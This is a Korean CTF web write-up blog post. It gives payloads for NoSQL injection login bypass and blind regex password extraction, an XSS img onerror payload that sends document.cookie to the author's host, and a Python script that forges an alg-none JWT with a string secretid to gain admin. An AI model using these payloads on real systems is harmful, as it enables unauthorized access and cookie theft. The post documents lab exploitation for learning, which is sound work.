Control You
소스보기하면 플래그가 있다.
No Sequels
로그인 창 하나가 나오는데 nosql injection이 터진다. 근데 요청 폼을 보면 username=1&password=1 이런식으로 넘어가는데 이걸 json형태로 변경하고 요청 헤더 값에 Content-Type을 application/json로 변경해서 json 요청폼으로 넘겨주면 된다.
payload
{"username":{"$ne":"1"},"password":{"$ne":"1"}}
No Sequels 2
이전 문제랑 같은 Nosql 문젠데 블라인드로 admin password를 뽑아야 된다. 그냥 regex써서 대충 아래같은 형태로 뽑아주면 된다.
payload
{"username":"admin","password":{"$regex":"^c"}}
DOM Validator
XSS 문젠데 특이하게 스크립트가 박히는 페이지에 아래 js코드로 돔 내 요소들에 있는 속성들의 값을 가지고 checksum값을 만든다. 이 값이 3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc 이 값이랑 같지 않으면 해당 페이지 내 모든 요소들을 제거해버린다.
function checksum (element) {
var string = ''
string += (element.attributes ? element.attributes.length : 0) + '|'
for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {
string += element.attributes[i].name + ':' + element.attributes[i].value + '|'
}
string += (element.childNodes ? element.childNodes.length : 0) + '|'
for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {
string += checksum(element.childNodes[i]) + '|'
}
return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)
}
var request = new XMLHttpRequest()
request.open('GET', location.href, false)
request.send(null)
if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {
document.documentElement.remove()
}
일단 저 checksum값이랑 동일한 페이지를 만들어내는건 불가능해보였다. 근데 잘 보면 checksum 코드를 타기전에 이미 내가 삽입한 XSS 코드가 실행이 되는 구조였다. 그래서 뭐지이게하고 로컬에서 테스트해보니 그냥 아무코드나 다 박아도 잘 실행이 됬다. 그래서 원격에다가 넣어보니까 이상하게 img tag만 실행이 됬다. 딱히 CSP나 이런것도 없었는데 뭔가 이상했다.
첨엔 img태그를 제외하고 나머지 <frame>,<script> 등은 위의 checksum 코드보다 html이 해석을 늦게해서 해당 태그들은 실행되기전에 체크섬로직에 걸려서 삭제되고 그래서 실행이 안되나 싶었는데 로컬에서해보니 그런것도 아니었다. 그냥 이것저것 넣다가 먹히는 구문이 있어서 풀긴했는데 왜 이놈만 되는지 잘 모르겠다.
payload
<img src=1 onerror="http://myip/"+document.cookie"/>
Cookie Cutter
해당 대회에서 가장 재밌게 푼 문제다. 문제를 보면 일단 소스를 제공해 준다.
source.js
const cookieParser = require('cookie-parser');
const express = require('express');
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const flag = "[redacted]";
let secrets = [];
const app = express()
app.use('/style.css', express.static('style.css'));
app.use('/favicon.ico', express.static('favicon.ico'));
app.use('/rick.png', express.static('rick.png'));
app.use(cookieParser())
app.use('/admin',(req, res, next)=>{
res.locals.rolled = true;
next();
})
app.use((req, res, next) => {
let cookie = req.cookies?req.cookies.session:"";
res.locals.flag = false;
try {
let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
res.locals.flag = true;
}
if(decoded.rolled=="yes"){
res.locals.rolled = true;
}
if(res.locals.rolled) {
req.cookies.session = ""; // generate new cookie
}
} catch (err) {
req.cookies.session = "";
}
if(!req.cookies.session){
let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);
res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})
req.cookies.session=cookie
res.locals.flag = false;
}
next()
})
app.get('/admin', (req, res) => {
res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");
})
app.get('/', (req, res) => {
res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")
})
app.listen(3000)
코드를 보면 res.locals.flag 값을 true로 만들어주면 된다. 그럼 이제 이게 어떻게 true가 될 수 있는지 보면 되는데 jwt값의 페이로드 내에 perms 키의 value가 admin이면 된다.
그럼이제 할거는 간단하다. jwt의 payload부분의 user값을 admin으로 바꿔주면 된다.
근데 잘보면 키 값은 랜덤한 32byte값이라 크랙이 불가능하고, 알고리즘이 HS256이어서 RSA256->HS256 요런 패턴도 해당이 안된다. 그럼 남은게 알고리즘 none으로 해서 bypass하는건데 jwt를 디코딩할 때 키 값을 가져와서 검증하는 구조라 이것도 불가능해 보였다.
근데 잘 보면 디코딩 시 쓰는 key값을 jwt payload부분의 값을 가지고 리스트에서 가져오기 때문에 내가 컨트롤이 가능하고 이걸로 key값에 null값을 박아넣을 수 있다.
첨엔 그냥 리스트범위를 넘어가는 int형 값을 넣어서 undefined를 리턴시키려고 했는데 if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"} 요런 구문으로 필터를 하고 있었다. 그래서 로컬에다 리스트 만들어놓고 테스트 해보니 list['youngsin'] 이런식으로 index에 문자열을 넣어보니 undefined를 리턴해줬다.
이제 필요한건 다 구했고 아래 코드로 변조한 jwt 값을 구해서 넘겨주면 된다.
payload.py
jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6NDgzMywicm9sbGVkIjoieWVzIiwiaWF0IjoxNTU2MTY1NDQ0fQ.48SNu1UAgwyBWAq-TMfeOMebAwYScUUx575JYkXM3Gk"
header, payload, signature = jwt.split('.')
# Replacing the ALGO and the payload username
header = header.decode('base64').replace('HS256',"none")
payload = (payload+"==").decode('base64').replace('user','admin').replace('4833','"youngsin"').replace("yes","no")
header = header.encode('base64').strip().replace("=","")
payload = payload.encode('base64').strip().replace("=","")
# 'The algorithm 'none' is not supported'
print( header+"."+payload+".")
'CTF > Writeup' 카테고리의 다른 글
Security Fest 2019 CTF Darkwebmessageboard (0) | 2019.05.24 |
---|---|
DEF CON CTF Qualifier 2019 cant_even_unplug_it (0) | 2019.05.13 |
ASIS CTF 2019 Fort Knox (0) | 2019.04.22 |
Byte Bandits CTF 2019 Web Writeup (0) | 2019.04.14 |
Midnight Sun CTF 2019 Quals Rubenscube (0) | 2019.04.08 |